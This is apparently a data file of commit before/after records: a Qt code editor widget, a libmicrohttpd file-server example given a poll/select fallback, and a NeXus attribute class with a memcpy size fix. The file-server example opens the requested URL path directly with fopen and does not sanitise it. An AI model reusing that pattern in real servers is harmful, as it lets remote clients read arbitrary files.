{"text":"<commit_before>#include \"codeeditor.h\"\r\n\r\n#include \"string\/stringutils.h\"\r\n#include \"assert\/advanced_assert.h\"\r\n#include \"math\/math.hpp\"\r\n\r\nDISABLE_COMPILER_WARNINGS\r\n#include <QDebug>\r\n#include <QPainter>\r\n#include <QShortcut>\r\n#include <QTextBlock>\r\n#include <QVBoxLayout>\r\nRESTORE_COMPILER_WARNINGS\r\n\r\n#include <algorithm>\r\n\r\n\r\nCodeEditorWithSearch::CodeEditorWithSearch(QWidget* parent) : QWidget(parent)\r\n{\r\n\t_editor = new CodeEditor;\r\n\t_searchWidget = new CTextSearchWidget;\r\n\t_searchWidget->setCallbackReceiver(this);\r\n\t_searchWidget->hide();\r\n\r\n\tQVBoxLayout* layout = new QVBoxLayout(this);\r\n\tlayout->setContentsMargins(0, 0, 0, 0);\r\n\tlayout->setSpacing(0);\r\n\tlayout->addWidget(_editor);\r\n\tlayout->addWidget(_searchWidget);\r\n\r\n\tsetLayout(layout);\r\n\r\n\tauto shortcutShowSearchWidget = new QShortcut(QKeySequence(\"Ctrl+F\"), this);\r\n\tconnect(shortcutShowSearchWidget, &QShortcut::activated, this, [this]() {\r\n\t\t_searchWidget->setShowReplaceUI(false);\r\n\t\t_searchWidget->show();\r\n\t});\r\n}\r\n\r\nCodeEditor* CodeEditorWithSearch::editor() const\r\n{\r\n\treturn _editor;\r\n}\r\n\r\n\r\nvoid CodeEditorWithSearch::findPrevious(const QString& what, const TextSearchOptions options)\r\n{\r\n\tQTextDocument::FindFlags flags = QTextDocument::FindBackward;\r\n\tif (options.caseSensitive) flags |= QTextDocument::FindCaseSensitively;\r\n\t_editor->find(what, flags);\r\n}\r\n\r\nvoid CodeEditorWithSearch::findNext(const QString& what, const TextSearchOptions options)\r\n{\r\n\tQTextDocument::FindFlags flags;\r\n\tif (options.caseSensitive) flags |= QTextDocument::FindCaseSensitively;\r\n\t_editor->find(what, flags);\r\n}\r\n\r\nvoid CodeEditorWithSearch::findAll(const QString& what, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nvoid CodeEditorWithSearch::replaceNext(const QString& what, const QString& with, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nvoid CodeEditorWithSearch::replaceAll(const QString& what, const QString& with, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nCodeEditor::CodeEditor(QWidget *parent) : QPlainTextEdit(parent)\r\n{\r\n\t_lineNumberArea = new LineNumberArea(this);\r\n\r\n\tconnect(this, &QPlainTextEdit::blockCountChanged, this, &CodeEditor::updateLineNumberAreaWidth);\r\n\tconnect(this, &QPlainTextEdit::updateRequest, this, &CodeEditor::updateLineNumberArea);\r\n\tconnect(this, &QPlainTextEdit::cursorPositionChanged, this, &CodeEditor::highlightCurrentLine);\r\n\tconnect(document(), &QTextDocument::contentsChanged, this, &CodeEditor::applyTextBackgroundColor); \/\/ Fix for #6\r\n\r\n\tupdateLineNumberAreaWidth(0);\r\n\thighlightCurrentLine();\r\n}\r\n\r\nint CodeEditor::lineNumberAreaWidth()\r\n{\r\n\tint numDigits = Math::ceil<int>(log10f((float)std::max(1, document()->lineCount())));\r\n\r\n\tconst int digitWidth = fontMetrics().horizontalAdvance('9');\r\n\treturn 10 + digitWidth * numDigits;\r\n}\r\n\r\nvoid CodeEditor::setTextBackgroundColor(const QColor& color)\r\n{\r\n\t_textBgColor = color;\r\n\tapplyTextBackgroundColor();\r\n\r\n\tauto lineNumberArea = _lineNumberArea->palette();\r\n\tlineNumberArea.setColor(QPalette::Window, color);\r\n\t_lineNumberArea->setPalette(lineNumberArea);\r\n}\r\n\r\nvoid CodeEditor::updateLineNumberAreaWidth(int \/* newBlockCount *\/)\r\n{\r\n\tsetViewportMargins(lineNumberAreaWidth(), 0, 0, 0);\r\n}\r\n\r\nvoid CodeEditor::updateLineNumberArea(const QRect &rect, int dy)\r\n{\r\n\tif (dy)\r\n\t\t_lineNumberArea->scroll(0, dy);\r\n\telse\r\n\t\t_lineNumberArea->update(0, rect.y(), _lineNumberArea->width(), rect.height());\r\n\r\n\tif (rect.contains(viewport()->rect()))\r\n\t\tupdateLineNumberAreaWidth(0);\r\n}\r\n\r\nvoid CodeEditor::applyTextBackgroundColor()\r\n{\r\n\tQTextCharFormat fmt;\r\n\tfmt.setBackground(QBrush(_textBgColor));\r\n\tsetCurrentCharFormat(fmt);\r\n}\r\n\r\nvoid CodeEditor::resizeEvent(QResizeEvent *e)\r\n{\r\n\tQPlainTextEdit::resizeEvent(e);\r\n\r\n\tconst QRect cr = contentsRect();\r\n\tqDebug() << cr.width();\r\n\t_lineNumberArea->setGeometry(QRect(cr.left(), cr.top(), lineNumberAreaWidth(), cr.height()));\r\n}\r\n\r\nvoid CodeEditor::keyPressEvent(QKeyEvent* event)\r\n{\r\n\tstatic constexpr auto isTabulation = [](QChar c) {\r\n\t\treturn c == '\\t' || c == ' ';\r\n\t};\r\n\r\n\tconst auto tabulationForCurrentLine = [this](const QString& text) -> std::pair<int \/* startPos *\/, QStringRef> {\r\n\t\tauto cursor = textCursor();\r\n\t\tconst int pos = cursor.position();\r\n\r\n\t\tconst int lineStart = text.lastIndexOf('\\n', std::max(pos - 1, 0)) + 1;\r\n\t\tassert_debug_only(pos >= lineStart);\r\n\r\n\t\tconst int tabulationEnd = static_cast<int>(\r\n\t\t\tstd::find_if(text.begin() + lineStart, text.begin() + pos, [](const QChar c) {\r\n\t\t\t\treturn !isTabulation(c);\r\n\t\t\t}) - text.begin()\r\n\t\t);\r\n\r\n\t\treturn { lineStart, text.midRef(pos, tabulationEnd - lineStart) };\r\n\t};\r\n\r\n\tif (const auto key = event->key(); key == Qt::Key_Enter || key == Qt::Key_Return)\r\n\t{\r\n\t\tconst QString text = toPlainText();\r\n\t\tconst auto pos = textCursor().position();\r\n\t\tconst bool addNewTab = pos > 0 && text[pos - 1] == '{';\r\n\r\n\t\tconst auto [lineStartPos, tabulation] = tabulationForCurrentLine(text);\r\n\r\n\t\tQPlainTextEdit::keyPressEvent(event);\r\n\r\n\t\tif (!tabulation.isEmpty())\r\n\t\t{\r\n\t\t\tauto cursor = textCursor();\r\n\t\t\tcursor.insertText(tabulation.toString());\r\n\t\t}\r\n\r\n\t\tif (addNewTab)\r\n\t\t\ttextCursor().insertText(QString{ '\\t' });\r\n\r\n\t\tevent->accept();\r\n\t}\r\n\telse if (event->key() == Qt::Key_Backtab)\r\n\t{\r\n\t\tauto cursor = textCursor();\r\n\t\tconst auto currentPos = cursor.position();\r\n\t\tconst auto text = toPlainText();\r\n\t\tif (cursor.movePosition(QTextCursor::StartOfLine))\r\n\t\t{\r\n\t\t\tconst auto charAtCursor = text.at(cursor.position());\r\n\t\t\tif (isTabulation(charAtCursor))\r\n\t\t\t{\r\n\t\t\t\tcursor.deleteChar();\r\n\t\t\t}\r\n\r\n\t\t\tcursor.movePosition(QTextCursor::NextCharacter, QTextCursor::MoveAnchor, currentPos - cursor.position() - 1);\r\n\t\t}\r\n\t\telse if (!text.isEmpty())\r\n\t\t{\r\n\t\t\tconst auto charAtCursor = text.at(cursor.position());\r\n\t\t\tif (isTabulation(charAtCursor))\r\n\t\t\t\tcursor.deleteChar();\r\n\t\t}\r\n\r\n\t\tevent->accept();\r\n\t}\r\n\telse\r\n\t\tQPlainTextEdit::keyPressEvent(event);\r\n}\r\n\r\nvoid CodeEditor::highlightCurrentLine()\r\n{\r\n\tif (isReadOnly())\r\n\t\treturn;\r\n\r\n\tconst QColor lineColor = QColor(50, 50, 50, 127);\r\n\r\n\tQTextEdit::ExtraSelection selection;\r\n\tselection.format.setBackground(lineColor);\r\n\tselection.format.setProperty(QTextFormat::FullWidthSelection, true);\r\n\tselection.cursor = textCursor();\r\n\tselection.cursor.clearSelection();\r\n\r\n\tsetExtraSelections(QList<QTextEdit::ExtraSelection>{selection});\r\n}\r\n\r\nvoid CodeEditor::lineNumberAreaPaintEvent(QPaintEvent *event)\r\n{\r\n\tQPainter painter(_lineNumberArea);\r\n\tpainter.fillRect(event->rect(), _lineNumberArea->palette().window());\r\n\r\n\r\n\tQTextBlock block = firstVisibleBlock();\r\n\tint blockNumber = block.blockNumber();\r\n\tint top = (int)blockBoundingGeometry(block).translated(contentOffset()).top();\r\n\tint bottom = top + (int)blockBoundingRect(block).height();\r\n\r\n\twhile (block.isValid() && top <= event->rect().bottom())\r\n\t{\r\n\t\tif (block.isVisible() && bottom >= event->rect().top())\r\n\t\t{\r\n\t\t\tQString number = QString::number(blockNumber + 1);\r\n\t\t\tpainter.setPen(_lineNumberArea->palette().text().color());\r\n\t\t\tpainter.drawText(0, top, _lineNumberArea->width(), fontMetrics().height(),Qt::AlignCenter, number);\r\n\t\t}\r\n\r\n\t\tblock = block.next();\r\n\t\ttop = bottom;\r\n\t\tbottom = top + (int)blockBoundingRect(block).height();\r\n\t\t++blockNumber;\r\n\t}\r\n}\r\n<commit_msg>Debug output removed<commit_after>#include \"codeeditor.h\"\r\n\r\n#include \"string\/stringutils.h\"\r\n#include \"assert\/advanced_assert.h\"\r\n#include \"math\/math.hpp\"\r\n\r\nDISABLE_COMPILER_WARNINGS\r\n#include <QDebug>\r\n#include <QPainter>\r\n#include <QShortcut>\r\n#include <QTextBlock>\r\n#include <QVBoxLayout>\r\nRESTORE_COMPILER_WARNINGS\r\n\r\n#include <algorithm>\r\n\r\n\r\nCodeEditorWithSearch::CodeEditorWithSearch(QWidget* parent) : QWidget(parent)\r\n{\r\n\t_editor = new CodeEditor;\r\n\t_searchWidget = new CTextSearchWidget;\r\n\t_searchWidget->setCallbackReceiver(this);\r\n\t_searchWidget->hide();\r\n\r\n\tQVBoxLayout* layout = new QVBoxLayout(this);\r\n\tlayout->setContentsMargins(0, 0, 0, 0);\r\n\tlayout->setSpacing(0);\r\n\tlayout->addWidget(_editor);\r\n\tlayout->addWidget(_searchWidget);\r\n\r\n\tsetLayout(layout);\r\n\r\n\tauto shortcutShowSearchWidget = new QShortcut(QKeySequence(\"Ctrl+F\"), this);\r\n\tconnect(shortcutShowSearchWidget, &QShortcut::activated, this, [this]() {\r\n\t\t_searchWidget->setShowReplaceUI(false);\r\n\t\t_searchWidget->show();\r\n\t});\r\n}\r\n\r\nCodeEditor* CodeEditorWithSearch::editor() const\r\n{\r\n\treturn _editor;\r\n}\r\n\r\n\r\nvoid CodeEditorWithSearch::findPrevious(const QString& what, const TextSearchOptions options)\r\n{\r\n\tQTextDocument::FindFlags flags = QTextDocument::FindBackward;\r\n\tif (options.caseSensitive) flags |= QTextDocument::FindCaseSensitively;\r\n\t_editor->find(what, flags);\r\n}\r\n\r\nvoid CodeEditorWithSearch::findNext(const QString& what, const TextSearchOptions options)\r\n{\r\n\tQTextDocument::FindFlags flags;\r\n\tif (options.caseSensitive) flags |= QTextDocument::FindCaseSensitively;\r\n\t_editor->find(what, flags);\r\n}\r\n\r\nvoid CodeEditorWithSearch::findAll(const QString& what, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nvoid CodeEditorWithSearch::replaceNext(const QString& what, const QString& with, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nvoid CodeEditorWithSearch::replaceAll(const QString& what, const QString& with, const TextSearchOptions options)\r\n{\r\n\r\n}\r\n\r\nCodeEditor::CodeEditor(QWidget *parent) : QPlainTextEdit(parent)\r\n{\r\n\t_lineNumberArea = new LineNumberArea(this);\r\n\r\n\tconnect(this, &QPlainTextEdit::blockCountChanged, this, &CodeEditor::updateLineNumberAreaWidth);\r\n\tconnect(this, &QPlainTextEdit::updateRequest, this, &CodeEditor::updateLineNumberArea);\r\n\tconnect(this, &QPlainTextEdit::cursorPositionChanged, this, &CodeEditor::highlightCurrentLine);\r\n\tconnect(document(), &QTextDocument::contentsChanged, this, &CodeEditor::applyTextBackgroundColor); \/\/ Fix for #6\r\n\r\n\tupdateLineNumberAreaWidth(0);\r\n\thighlightCurrentLine();\r\n}\r\n\r\nint CodeEditor::lineNumberAreaWidth()\r\n{\r\n\tint numDigits = Math::ceil<int>(log10f((float)std::max(1, document()->lineCount())));\r\n\r\n\tconst int digitWidth = fontMetrics().horizontalAdvance('9');\r\n\treturn 10 + digitWidth * numDigits;\r\n}\r\n\r\nvoid CodeEditor::setTextBackgroundColor(const QColor& color)\r\n{\r\n\t_textBgColor = color;\r\n\tapplyTextBackgroundColor();\r\n\r\n\tauto lineNumberArea = _lineNumberArea->palette();\r\n\tlineNumberArea.setColor(QPalette::Window, color);\r\n\t_lineNumberArea->setPalette(lineNumberArea);\r\n}\r\n\r\nvoid CodeEditor::updateLineNumberAreaWidth(int \/* newBlockCount *\/)\r\n{\r\n\tsetViewportMargins(lineNumberAreaWidth(), 0, 0, 0);\r\n}\r\n\r\nvoid CodeEditor::updateLineNumberArea(const QRect &rect, int dy)\r\n{\r\n\tif (dy)\r\n\t\t_lineNumberArea->scroll(0, dy);\r\n\telse\r\n\t\t_lineNumberArea->update(0, rect.y(), _lineNumberArea->width(), rect.height());\r\n\r\n\tif (rect.contains(viewport()->rect()))\r\n\t\tupdateLineNumberAreaWidth(0);\r\n}\r\n\r\nvoid CodeEditor::applyTextBackgroundColor()\r\n{\r\n\tQTextCharFormat fmt;\r\n\tfmt.setBackground(QBrush(_textBgColor));\r\n\tsetCurrentCharFormat(fmt);\r\n}\r\n\r\nvoid CodeEditor::resizeEvent(QResizeEvent *e)\r\n{\r\n\tQPlainTextEdit::resizeEvent(e);\r\n\r\n\tconst QRect cr = contentsRect();\r\n\t_lineNumberArea->setGeometry(QRect(cr.left(), cr.top(), lineNumberAreaWidth(), cr.height()));\r\n}\r\n\r\nvoid CodeEditor::keyPressEvent(QKeyEvent* event)\r\n{\r\n\tstatic constexpr auto isTabulation = [](QChar c) {\r\n\t\treturn c == '\\t' || c == ' ';\r\n\t};\r\n\r\n\tconst auto tabulationForCurrentLine = [this](const QString& text) -> std::pair<int \/* startPos *\/, QStringRef> {\r\n\t\tauto cursor = textCursor();\r\n\t\tconst int pos = cursor.position();\r\n\r\n\t\tconst int lineStart = text.lastIndexOf('\\n', std::max(pos - 1, 0)) + 1;\r\n\t\tassert_debug_only(pos >= lineStart);\r\n\r\n\t\tconst int tabulationEnd = static_cast<int>(\r\n\t\t\tstd::find_if(text.begin() + lineStart, text.begin() + pos, [](const QChar c) {\r\n\t\t\t\treturn !isTabulation(c);\r\n\t\t\t}) - text.begin()\r\n\t\t);\r\n\r\n\t\treturn { lineStart, text.midRef(pos, tabulationEnd - lineStart) };\r\n\t};\r\n\r\n\tif (const auto key = event->key(); key == Qt::Key_Enter || key == Qt::Key_Return)\r\n\t{\r\n\t\tconst QString text = toPlainText();\r\n\t\tconst auto pos = textCursor().position();\r\n\t\tconst bool addNewTab = pos > 0 && text[pos - 1] == '{';\r\n\r\n\t\tconst auto [lineStartPos, tabulation] = tabulationForCurrentLine(text);\r\n\r\n\t\tQPlainTextEdit::keyPressEvent(event);\r\n\r\n\t\tif (!tabulation.isEmpty())\r\n\t\t{\r\n\t\t\tauto cursor = textCursor();\r\n\t\t\tcursor.insertText(tabulation.toString());\r\n\t\t}\r\n\r\n\t\tif (addNewTab)\r\n\t\t\ttextCursor().insertText(QString{ '\\t' });\r\n\r\n\t\tevent->accept();\r\n\t}\r\n\telse if (event->key() == Qt::Key_Backtab)\r\n\t{\r\n\t\tauto cursor = textCursor();\r\n\t\tconst auto currentPos = cursor.position();\r\n\t\tconst auto text = toPlainText();\r\n\t\tif (cursor.movePosition(QTextCursor::StartOfLine))\r\n\t\t{\r\n\t\t\tconst auto charAtCursor = text.at(cursor.position());\r\n\t\t\tif (isTabulation(charAtCursor))\r\n\t\t\t{\r\n\t\t\t\tcursor.deleteChar();\r\n\t\t\t}\r\n\r\n\t\t\tcursor.movePosition(QTextCursor::NextCharacter, QTextCursor::MoveAnchor, currentPos - cursor.position() - 1);\r\n\t\t}\r\n\t\telse if (!text.isEmpty())\r\n\t\t{\r\n\t\t\tconst auto charAtCursor = text.at(cursor.position());\r\n\t\t\tif (isTabulation(charAtCursor))\r\n\t\t\t\tcursor.deleteChar();\r\n\t\t}\r\n\r\n\t\tevent->accept();\r\n\t}\r\n\telse\r\n\t\tQPlainTextEdit::keyPressEvent(event);\r\n}\r\n\r\nvoid CodeEditor::highlightCurrentLine()\r\n{\r\n\tif (isReadOnly())\r\n\t\treturn;\r\n\r\n\tconst QColor lineColor = QColor(50, 50, 50, 127);\r\n\r\n\tQTextEdit::ExtraSelection selection;\r\n\tselection.format.setBackground(lineColor);\r\n\tselection.format.setProperty(QTextFormat::FullWidthSelection, true);\r\n\tselection.cursor = textCursor();\r\n\tselection.cursor.clearSelection();\r\n\r\n\tsetExtraSelections(QList<QTextEdit::ExtraSelection>{selection});\r\n}\r\n\r\nvoid CodeEditor::lineNumberAreaPaintEvent(QPaintEvent *event)\r\n{\r\n\tQPainter painter(_lineNumberArea);\r\n\tpainter.fillRect(event->rect(), _lineNumberArea->palette().window());\r\n\r\n\r\n\tQTextBlock block = firstVisibleBlock();\r\n\tint blockNumber = block.blockNumber();\r\n\tint top = (int)blockBoundingGeometry(block).translated(contentOffset()).top();\r\n\tint bottom = top + (int)blockBoundingRect(block).height();\r\n\r\n\twhile (block.isValid() && top <= event->rect().bottom())\r\n\t{\r\n\t\tif (block.isVisible() && bottom >= event->rect().top())\r\n\t\t{\r\n\t\t\tQString number = QString::number(blockNumber + 1);\r\n\t\t\tpainter.setPen(_lineNumberArea->palette().text().color());\r\n\t\t\tpainter.drawText(0, top, _lineNumberArea->width(), fontMetrics().height(),Qt::AlignCenter, number);\r\n\t\t}\r\n\r\n\t\tblock = block.next();\r\n\t\ttop = bottom;\r\n\t\tbottom = top + (int)blockBoundingRect(block).height();\r\n\t\t++blockNumber;\r\n\t}\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Modified by Milan Straka <straka@ufal.mff.cuni.cz> for microrestd.\n\n\/*\n     This file is part of libmicrohttpd\n     (C) 2007 Christian Grothoff (and other contributing authors)\n\n     This library is free software; you can redistribute it and\/or\n     modify it under the terms of the GNU Lesser General Public\n     License as published by the Free Software Foundation; either\n     version 2.1 of the License, or (at your option) any later version.\n\n     This library is distributed in the hope that it will be useful,\n     but WITHOUT ANY WARRANTY; without even the implied warranty of\n     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n     Lesser General Public License for more details.\n\n     You should have received a copy of the GNU Lesser General Public\n     License along with this library; if not, write to the Free Software\n     Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n\/**\n * @file fileserver_example.c\n * @brief minimal example for how to use libmicrohttpd to serve files\n * @author Christian Grothoff\n *\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"microhttpd.h\"\n\nnamespace ufal {\nnamespace microrestd {\nnamespace libmicrohttpd {\n\n#define PAGE \"<html><head><title>File not found<\/title><\/head><body>File not found<\/body><\/html>\"\n\nstatic ssize_t\nfile_reader (void *cls, uint64_t pos, char *buf, size_t max)\n{\n  FILE* file = (FILE*) cls;\n\n  (void)  fseek (file, pos, SEEK_SET);\n  return fread (buf, 1, max, file);\n}\n\nstatic void\nfree_callback (void *cls)\n{\n  FILE* file = (FILE*) cls;\n  fclose (file);\n}\n\nstatic int\nahc_echo (void * \/*cls*\/,\n          struct MHD_Connection *connection,\n          const char *url,\n          const char *method,\n          const char * \/*version*\/,\n          const char * \/*upload_data*\/,\n\t  size_t * \/*upload_data_size*\/, void **ptr)\n{\n  static int aptr;\n  struct MHD_Response *response;\n  int ret;\n  FILE *file;\n\n  if (0 != strcmp (method, MHD_HTTP_METHOD_GET))\n    return MHD_NO;              \/* unexpected method *\/\n  if (&aptr != *ptr)\n    {\n      \/* do never respond on first call *\/\n      *ptr = &aptr;\n      return MHD_YES;\n    }\n  *ptr = NULL;                  \/* reset when done *\/\n  file = fopen (&url[1], \"rb\");\n  if (file == NULL)\n    {\n      response = MHD_create_response_from_buffer (strlen (PAGE),\n\t\t\t\t\t\t  (void *) PAGE,\n\t\t\t\t\t\t  MHD_RESPMEM_PERSISTENT);\n      ret = MHD_queue_response (connection, MHD_HTTP_NOT_FOUND, response);\n      MHD_destroy_response (response);\n    }\n  else\n    {\n      fseek(file, 0, SEEK_END);\n      long size = ftell(file);\n      fseek(file, 0, SEEK_SET);\n\n      response = MHD_create_response_from_callback (size, 32 * 1024,     \/* 32k page size *\/\n                                                    &file_reader,\n                                                    file,\n                                                    &free_callback);\n      if (response == NULL)\n\t{\n\t  fclose (file);\n\t  return MHD_NO;\n\t}\n      ret = MHD_queue_response (connection, MHD_HTTP_OK, response);\n      MHD_destroy_response (response);\n    }\n  return ret;\n}\n\n} \/\/ namespace libmicrohttpd\n} \/\/ namespace microrestd\n} \/\/ namespace ufal\n\nusing namespace ufal::microrestd::libmicrohttpd;\n\nint\nmain (int argc, char *const *argv)\n{\n  struct MHD_Daemon *d;\n\n  if (argc != 2)\n    {\n      printf (\"%s PORT\\n\", argv[0]);\n      return 1;\n    }\n  d = MHD_start_daemon (MHD_USE_THREAD_PER_CONNECTION | MHD_USE_POLL | MHD_USE_PIPE_FOR_SHUTDOWN,\n                        atoi (argv[1]), nullptr, nullptr, &ahc_echo, (void*) PAGE,\n                        MHD_OPTION_LISTENING_ADDRESS_REUSE, 1,\n                        MHD_OPTION_CONNECTION_LIMIT, 5,\n                        MHD_OPTION_PER_IP_CONNECTION_LIMIT, 2,\n                        MHD_OPTION_CONNECTION_MEMORY_LIMIT, size_t(64 * 1024),\n                        MHD_OPTION_CONNECTION_TIMEOUT, 60,\n                        MHD_OPTION_END);\n  if (d == NULL)\n    return 1;\n  (void) getc (stdin);\n  MHD_stop_daemon (d);\n  return 0;\n}\n<commit_msg>Try using SELECT if POLL could not be used.<commit_after>\/\/ Modified by Milan Straka <straka@ufal.mff.cuni.cz> for microrestd.\n\n\/*\n     This file is part of libmicrohttpd\n     (C) 2007 Christian Grothoff (and other contributing authors)\n\n     This library is free software; you can redistribute it and\/or\n     modify it under the terms of the GNU Lesser General Public\n     License as published by the Free Software Foundation; either\n     version 2.1 of the License, or (at your option) any later version.\n\n     This library is distributed in the hope that it will be useful,\n     but WITHOUT ANY WARRANTY; without even the implied warranty of\n     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n     Lesser General Public License for more details.\n\n     You should have received a copy of the GNU Lesser General Public\n     License along with this library; if not, write to the Free Software\n     Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n*\/\n\n\/**\n * @file fileserver_example.c\n * @brief minimal example for how to use libmicrohttpd to serve files\n * @author Christian Grothoff\n *\/\n\n#include <cstdio>\n#include <cstdlib>\n#include <cstring>\n\n#include \"microhttpd.h\"\n\nnamespace ufal {\nnamespace microrestd {\nnamespace libmicrohttpd {\n\n#define PAGE \"<html><head><title>File not found<\/title><\/head><body>File not found<\/body><\/html>\"\n\nstatic ssize_t\nfile_reader (void *cls, uint64_t pos, char *buf, size_t max)\n{\n  FILE* file = (FILE*) cls;\n\n  (void)  fseek (file, pos, SEEK_SET);\n  return fread (buf, 1, max, file);\n}\n\nstatic void\nfree_callback (void *cls)\n{\n  FILE* file = (FILE*) cls;\n  fclose (file);\n}\n\nstatic int\nahc_echo (void * \/*cls*\/,\n          struct MHD_Connection *connection,\n          const char *url,\n          const char *method,\n          const char * \/*version*\/,\n          const char * \/*upload_data*\/,\n\t  size_t * \/*upload_data_size*\/, void **ptr)\n{\n  static int aptr;\n  struct MHD_Response *response;\n  int ret;\n  FILE *file;\n\n  if (0 != strcmp (method, MHD_HTTP_METHOD_GET))\n    return MHD_NO;              \/* unexpected method *\/\n  if (&aptr != *ptr)\n    {\n      \/* do never respond on first call *\/\n      *ptr = &aptr;\n      return MHD_YES;\n    }\n  *ptr = NULL;                  \/* reset when done *\/\n  file = fopen (&url[1], \"rb\");\n  if (file == NULL)\n    {\n      response = MHD_create_response_from_buffer (strlen (PAGE),\n\t\t\t\t\t\t  (void *) PAGE,\n\t\t\t\t\t\t  MHD_RESPMEM_PERSISTENT);\n      ret = MHD_queue_response (connection, MHD_HTTP_NOT_FOUND, response);\n      MHD_destroy_response (response);\n    }\n  else\n    {\n      fseek(file, 0, SEEK_END);\n      long size = ftell(file);\n      fseek(file, 0, SEEK_SET);\n\n      response = MHD_create_response_from_callback (size, 32 * 1024,     \/* 32k page size *\/\n                                                    &file_reader,\n                                                    file,\n                                                    &free_callback);\n      if (response == NULL)\n\t{\n\t  fclose (file);\n\t  return MHD_NO;\n\t}\n      ret = MHD_queue_response (connection, MHD_HTTP_OK, response);\n      MHD_destroy_response (response);\n    }\n  return ret;\n}\n\n} \/\/ namespace libmicrohttpd\n} \/\/ namespace microrestd\n} \/\/ namespace ufal\n\nusing namespace ufal::microrestd::libmicrohttpd;\n\nint\nmain (int argc, char *const *argv)\n{\n  struct MHD_Daemon *d;\n\n  if (argc != 2)\n    {\n      printf (\"%s PORT\\n\", argv[0]);\n      return 1;\n    }\n  \/\/ Try using POLL first, then SELECT.\n  for (int poll = 1; poll >= 0; poll--) {\n    d = MHD_start_daemon (MHD_USE_THREAD_PER_CONNECTION | (poll ? MHD_USE_POLL : 0) | MHD_USE_PIPE_FOR_SHUTDOWN,\n                          atoi (argv[1]), nullptr, nullptr, &ahc_echo, (void*) PAGE,\n                          MHD_OPTION_LISTENING_ADDRESS_REUSE, 1,\n                          MHD_OPTION_CONNECTION_LIMIT, 5,\n                          MHD_OPTION_PER_IP_CONNECTION_LIMIT, 2,\n                          MHD_OPTION_CONNECTION_MEMORY_LIMIT, size_t(64 * 1024),\n                          MHD_OPTION_CONNECTION_TIMEOUT, 60,\n                          MHD_OPTION_END);\n    if (d) break;\n  }\n  if (!d) return 1;\n\n  fprintf(stderr, \"Running...\\n\");\n  (void) getc (stdin);\n  MHD_stop_daemon (d);\n  return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <napi.h>\n#include <stdlib.h>\n#include <stdexcept>\n#include <vector>\n#include \"attr.h\"\n\nusing std::runtime_error;\nusing std::logic_error;\nusing std::out_of_range;\nusing std::string;\nusing std::vector;\n\n\/\/ ==================== Node implementation\nAttr::Attr(const string name, const void* val,const int len, const int type): __name(name), __length(len), __type(type){\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  memcpy(__value,val,__length);\n}\n\nAttr::Attr(const Attr& old): __name(old.__name), __length(old.__length), __type(old.__type){\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  memcpy(__value,old.__value,__length);\n}\n\nAttr::~Attr(){\n  if(NXfree(&__value)!=NX_OK)\n    throw runtime_error(\"NXfree failed\");\n}\n\nAttr& Attr::operator=(const Attr& old){\n  if(this==&old) return *this;\n\n  if(NXfree(&__value)!=NX_OK)\n    throw runtime_error(\"NXfree failed\");\n\n  \/\/ copy everything other than the value\n  __name=old.__name;\n  __length=old.__length;\n  __type=old.__type;\n\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  memcpy(__value,old.__value,__length);\n\n  return *this;\n}\n\nstd::string Attr::name(){\n  return __name;\n}\n\nvoid* Attr::value(){\n  return __value;\n}\n\nint Attr::length(){\n  return __length;\n}\n\nint Attr::type(){\n  return __type;\n}\n<commit_msg>Fixed a bug arrising from incorrect \"size\" parameter passed to stdlib function \"memcpy\".<commit_after>#include <napi.h>\n#include <stdlib.h>\n#include <stdexcept>\n#include <vector>\n#include \"attr.h\"\n#include \"nexus_util.h\"\n\nusing std::runtime_error;\nusing std::logic_error;\nusing std::out_of_range;\nusing std::string;\nusing std::vector;\n\n\/\/ ==================== Node implementation\nAttr::Attr(const string name, const void* val,const int len, const int type): __name(name), __length(len), __type(type){\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  size_t size=nexus_util::calc_size(1,dims,__type);\n  memcpy(__value,val,size);\n}\n\nAttr::Attr(const Attr& old): __name(old.__name), __length(old.__length), __type(old.__type){\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  size_t size=nexus_util::calc_size(1,dims,__type);\n  memcpy(__value,old.__value,size);\n}\n\nAttr::~Attr(){\n  if(NXfree(&__value)!=NX_OK)\n    throw runtime_error(\"NXfree failed\");\n}\n\nAttr& Attr::operator=(const Attr& old){\n  if(this==&old) return *this;\n\n  if(NXfree(&__value)!=NX_OK)\n    throw runtime_error(\"NXfree failed\");\n\n  \/\/ copy everything other than the value\n  __name=old.__name;\n  __length=old.__length;\n  __type=old.__type;\n\n  \/\/ create dimensions\n  int dims[1]={__length};\n\n  \/\/ copy the value\n  NXmalloc(&__value,1,dims,__type);\n  size_t size=nexus_util::calc_size(1,dims,__type);\n  memcpy(__value,old.__value,size);\n\n  return *this;\n}\n\nstd::string Attr::name(){\n  return __name;\n}\n\nvoid* Attr::value(){\n  return __value;\n}\n\nint Attr::length(){\n  return __length;\n}\n\nint Attr::type(){\n  return __type;\n}\n<|endoftext|>"}
